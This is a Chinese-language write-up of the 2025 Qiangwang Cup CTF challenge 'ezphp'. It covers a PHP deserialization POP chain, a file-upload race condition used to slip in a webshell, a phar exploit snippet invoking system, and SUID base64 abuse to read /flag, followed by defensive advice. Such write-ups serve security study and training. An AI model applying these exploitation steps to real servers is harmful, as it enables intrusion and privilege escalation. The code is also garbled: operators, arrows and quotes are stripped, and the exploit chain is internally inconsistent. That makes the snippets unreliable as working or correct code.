强网杯Web题ezphp复盘:利用PHP反序列化与条件竞争的组合拳拿下flag

张开发
2026/4/6 19:40:05 15 分钟阅读

分享文章

强网杯Web题ezphp复盘:利用PHP反序列化与条件竞争的组合拳拿下flag
强网杯Web题ezphp深度解析PHP反序列化与条件竞争的实战艺术在CTF竞赛中PHP反序列化漏洞一直是Web安全赛道的经典考点。2025年强网杯的ezphp题目巧妙地将反序列化与条件竞争漏洞结合构建了一个极具挑战性的攻防场景。本文将从一个实战攻击者的视角完整还原从漏洞发现到最终getshell的全过程重点解析POP链构造、匿名类利用和文件上传竞争等核心技术要点。1. 题目环境与漏洞入口分析首先我们需要理解题目的整体架构。题目提供了一个简单的PHP文件上传功能核心逻辑封装在test类中。通过GET参数land接收序列化字符串这直接暴露了反序列化入口点。关键代码片段如下class test{ public $readflag; public $f; public $key; public function __construct(){ $this-readflag new class { // 匿名类实现 }; } public function __destruct(){ // 析构函数逻辑 } } $ser isset($_GET[land]) ? $_GET[land] : O:4:test:N; unserialize($ser);漏洞利用链的三个关键节点反序列化入口通过land参数控制匿名类文件上传在__construct中实现文件包含触发通过__destruct中的动态调用2. POP链构造与匿名类利用Property-Oriented ProgrammingPOP是PHP反序列化攻击的核心技术。我们需要精心设计对象属性控制程序执行流。2.1 匿名类文件上传机制test类的构造函数创建了一个匿名类实例赋值给$readflag属性。这个匿名类包含以下关键方法public function __construct(){ if (isset($_FILES[file]) $_FILES[file][error] 0) { // 清空上传目录 $files glob($uploadDir . *); foreach ($files as $file) { if (is_file($file)) unlink($file); } // 生成随机文件名 $randomStr generateRandomString(8); $newFilename $time . . . $randomStr . . . jpg; // 保存上传文件 system(cp .$uploadedFile. . $uploadPath); } }关键发现文件名生成基于当前时间date(Hi)和$filename全局变量使用system执行命令而非move_uploaded_file这为后续利用埋下伏笔上传目录会被清空但存在时间窗口2.2 动态方法调用技巧__destruct方法提供了灵活的调用方式public function __destruct(){ $func $this-f; $GLOBALS[filename] $this-readflag; if ($this-key class) new $func(); else if ($this-key func) $func(); else highlight_file(index.php); }我们可以通过控制$key值选择调用方式class动态实例化类func直接调用函数默认显示源码3. 条件竞争漏洞的发现与利用3.1 文件名生成机制分析上传文件的命名规则为时间.随机字符串.jpg。其中时间部分每分钟变化一次date(Hi)随机字符串由generateRandomString(8)生成但种子固定mt_srand($seed)这意味着在同一分钟内多次上传会生成相同的文件名这为条件竞争创造了条件。3.2 文件包含的过滤绕过匿名类中的readflag方法实现了文件包含public function readflag(){ $file_content file_get_contents(uploads/ . $file); if (preg_match(/\?|\:\/\/|ph|\?\/i, $file_content)) { die(Illegal content detected in the file.); } include(uploads/ . $file); }过滤规则禁止内容包含PHP开放标签?URL协议://ph字符串PHP闭合标签?绕过思路使用短标签?或script languagephp上传无害文件通过检查然后竞争替换为恶意文件3.3 完整攻击链构建攻击步骤分解构造恶意序列化字符串$exp [ new test(), // 触发__construct [$t-readflag, readflag], // 声明readflag函数 readflag // 调用readflag函数 ]; $payload serialize($exp);并发文件上传线程A上传合法文本文件线程B上传PHP webshell利用Burp Suite的Intruder模块实现并发触发文件包含当合法文件通过检查后立即包含在包含瞬间webshell可能已替换原文件EXP关键代码$phar new Phar(exp.phar); $phar-startBuffering(); $phar-addFromString(test.txt, test); $phar-setStub(?php __HALT_COMPILER(); ? ); $object new test(); $object-f system; $object-key func; $phar-setMetadata($object); $phar-stopBuffering();4. 后渗透与SUID提权成功getshell后发现无法直接读取flag$ cat /flag Permission denied提权步骤查找SUID权限文件find / -perm -us -type f 2/dev/null发现/usr/bin/base64具有SUID权限利用base64读取flag/usr/bin/base64 /flag | base64 -d提权原理SUID程序会以所有者权限运行base64可以读取任意文件内容通过管道解码获取原始flag5. 防御方案与最佳实践针对此类漏洞开发者应采取以下防护措施反序列化防护使用json_encode/json_decode替代序列化实现__wakeup或__destruct的安全检查文件上传安全// 安全的文件上传示例 $finfo finfo_open(FILEINFO_MIME_TYPE); $mime finfo_file($finfo, $_FILES[file][tmp_name]); $allowed [image/jpeg, image/png]; if(in_array($mime, $allowed)) { move_uploaded_file($_FILES[file][tmp_name], $safePath); }条件竞争防护使用原子操作如rename实现文件锁机制权限控制遵循最小权限原则定期检查SUID/SGID文件在实际CTF比赛中这类题目往往需要选手具备多维度的知识体系。通过本次ezphp的分析我们不仅掌握了PHP反序列化的高级利用技巧也深入理解了条件竞争这类时序相关漏洞的挖掘方法。

更多文章